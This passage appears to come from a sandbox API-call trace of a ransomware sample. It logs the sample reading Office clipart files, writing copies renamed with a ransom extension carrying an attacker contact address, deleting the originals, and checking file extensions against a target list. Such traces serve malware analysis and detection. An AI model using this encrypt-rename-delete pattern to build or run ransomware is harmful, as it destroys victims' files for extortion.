lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3d90, lpOverlapped=0x0) returned 1 [0090.580] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3da0, lpOverlapped=0x0) returned 1 [0090.581] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.581] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.581] SetEndOfFile (hFile=0x390) returned 1 [0090.582] CloseHandle (hObject=0x390) returned 1 [0090.582] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.582] SetEndOfFile (hFile=0x2c4) returned 1 [0090.583] CloseHandle (hObject=0x2c4) returned 1 [0090.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0090.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.583] lstrlenW (lpString=".doc") returned 4 [0090.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.583] lstrlenW (lpString=".docx") returned 5 [0090.583] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.583] lstrlenW (lpString=".pdf") returned 4 [0090.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.583] lstrlenW (lpString=".xls") returned 4 [0090.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.583] lstrlenW (lpString=".xlsx") returned 5 [0090.583] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.583] lstrlenW (lpString=".ppt") returned 4 [0090.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString=".zip") returned 4 [0090.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.584] lstrlenW (lpString=".rar") returned 4 [0090.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString=".bz2") returned 4 [0090.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString=".7z") returned 3 [0090.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString=".dbf") returned 4 [0090.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString=".1cd") returned 4 [0090.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString=".jpg") returned 4 [0090.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString=".doc") returned 4 [0090.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString=".docx") returned 5 [0090.584] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.584] lstrlenW (lpString=".pdf") returned 4 [0090.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString=".xls") returned 4 [0090.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.584] lstrlenW (lpString=".xlsx") returned 5 [0090.584] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.584] lstrlenW (lpString=".ppt") returned 4 [0090.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.584] lstrlenW (lpString=".zip") returned 4 [0090.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.584] lstrlenW (lpString=".rar") returned 4 [0090.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.585] lstrlenW (lpString=".bz2") returned 4 [0090.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.585] lstrlenW (lpString=".7z") returned 3 [0090.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.585] lstrlenW (lpString=".dbf") returned 4 [0090.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.585] lstrlenW (lpString=".1cd") returned 4 [0090.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0090.585] lstrlenW (lpString=".jpg") returned 4 [0090.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.585] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.585] lstrlenW (lpString="J0090149.WMF") returned 12 [0090.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.585] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=28212) returned 1 [0090.585] CloseHandle (hObject=0x2c4) returned 1 [0090.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0090.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.586] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.586] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0090.586] GetLastError () returned 0x0 [0090.586] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x6e34, lpOverlapped=0x0) returned 1 [0090.588] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x6e40, lpOverlapped=0x0) returned 1 [0090.590] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.590] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.590] SetEndOfFile (hFile=0x390) returned 1 [0090.590] CloseHandle (hObject=0x390) returned 1 [0090.590] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.590] SetEndOfFile (hFile=0x2c4) returned 1 [0090.591] CloseHandle (hObject=0x2c4) returned 1 [0090.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.592] lstrlenW (lpString=".doc") returned 4 [0090.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".docx") returned 5 [0090.592] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.592] lstrlenW (lpString=".pdf") returned 4 [0090.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".xls") returned 4 [0090.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.592] lstrlenW (lpString=".xlsx") returned 5 [0090.592] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.592] lstrlenW (lpString=".ppt") returned 4 [0090.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.592] lstrlenW (lpString=".zip") returned 4 [0090.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.592] lstrlenW (lpString=".rar") returned 4 [0090.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".bz2") returned 4 [0090.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString=".7z") returned 3 [0090.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.592] lstrlenW (lpString=".dbf") returned 4 [0090.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.592] lstrlenW (lpString=".1cd") returned 4 [0090.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString=".jpg") returned 4 [0090.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString=".doc") returned 4 [0090.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString=".docx") returned 5 [0090.593] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.593] lstrlenW (lpString=".pdf") returned 4 [0090.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString=".xls") returned 4 [0090.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.593] lstrlenW (lpString=".xlsx") returned 5 [0090.593] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.593] lstrlenW (lpString=".ppt") returned 4 [0090.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString=".zip") returned 4 [0090.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.593] lstrlenW (lpString=".rar") returned 4 [0090.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString=".bz2") returned 4 [0090.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString=".7z") returned 3 [0090.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString=".dbf") returned 4 [0090.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString=".1cd") returned 4 [0090.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0090.593] lstrlenW (lpString=".jpg") returned 4 [0090.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.594] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.594] lstrlenW (lpString="J0090390.WMF") returned 12 [0090.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.594] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17638) returned 1 [0090.594] CloseHandle (hObject=0x2c4) returned 1 [0090.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0090.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.595] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.595] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0090.595] GetLastError () returned 0x0 [0090.595] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x44e6, lpOverlapped=0x0) returned 1 [0090.756] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x44f0, lpOverlapped=0x0) returned 1 [0090.757] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.757] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.758] SetEndOfFile (hFile=0x390) returned 1 [0090.758] CloseHandle (hObject=0x390) returned 1 [0090.758] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.758] SetEndOfFile (hFile=0x2c4) returned 1 [0090.774] CloseHandle (hObject=0x2c4) returned 1 [0090.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0090.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.863] lstrlenW (lpString=".doc") returned 4 [0090.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString=".docx") returned 5 [0090.864] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0090.864] lstrlenW (lpString=".pdf") returned 4 [0090.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString=".xls") returned 4 [0090.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.864] lstrlenW (lpString=".xlsx") returned 5 [0090.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0090.864] lstrlenW (lpString=".ppt") returned 4 [0090.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.864] lstrlenW (lpString=".zip") returned 4 [0090.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.864] lstrlenW (lpString=".rar") returned 4 [0090.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString=".bz2") returned 4 [0090.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString=".7z") returned 3 [0090.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.864] lstrlenW (lpString=".dbf") returned 4 [0090.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.864] lstrlenW (lpString=".1cd") returned 4 [0090.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.864] lstrlenW (lpString=".jpg") returned 4 [0090.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.864] lstrlenW (lpString=".doc") returned 4 [0090.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.864] lstrlenW (lpString=".docx") returned 5 [0090.864] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0090.864] lstrlenW (lpString=".pdf") returned 4 [0090.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.865] lstrlenW (lpString=".xls") returned 4 [0090.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.865] lstrlenW (lpString=".xlsx") returned 5 [0090.865] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0090.865] lstrlenW (lpString=".ppt") returned 4 [0090.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.865] lstrlenW (lpString=".zip") returned 4 [0090.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.865] lstrlenW (lpString=".rar") returned 4 [0090.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.865] lstrlenW (lpString=".bz2") returned 4 [0090.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.865] lstrlenW (lpString=".7z") returned 3 [0090.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.865] lstrlenW (lpString=".dbf") returned 4 [0090.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.865] lstrlenW (lpString=".1cd") returned 4 [0090.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0090.865] lstrlenW (lpString=".jpg") returned 4 [0090.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.865] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.865] lstrlenW (lpString="J0099153.WMF") returned 12 [0090.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.866] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=13874) returned 1 [0090.866] CloseHandle (hObject=0x2c4) returned 1 [0090.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0090.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.866] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.866] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0090.867] GetLastError () returned 0x0 [0090.867] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3632, lpOverlapped=0x0) returned 1 [0090.868] WriteFile (in: hFile=0x338, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, 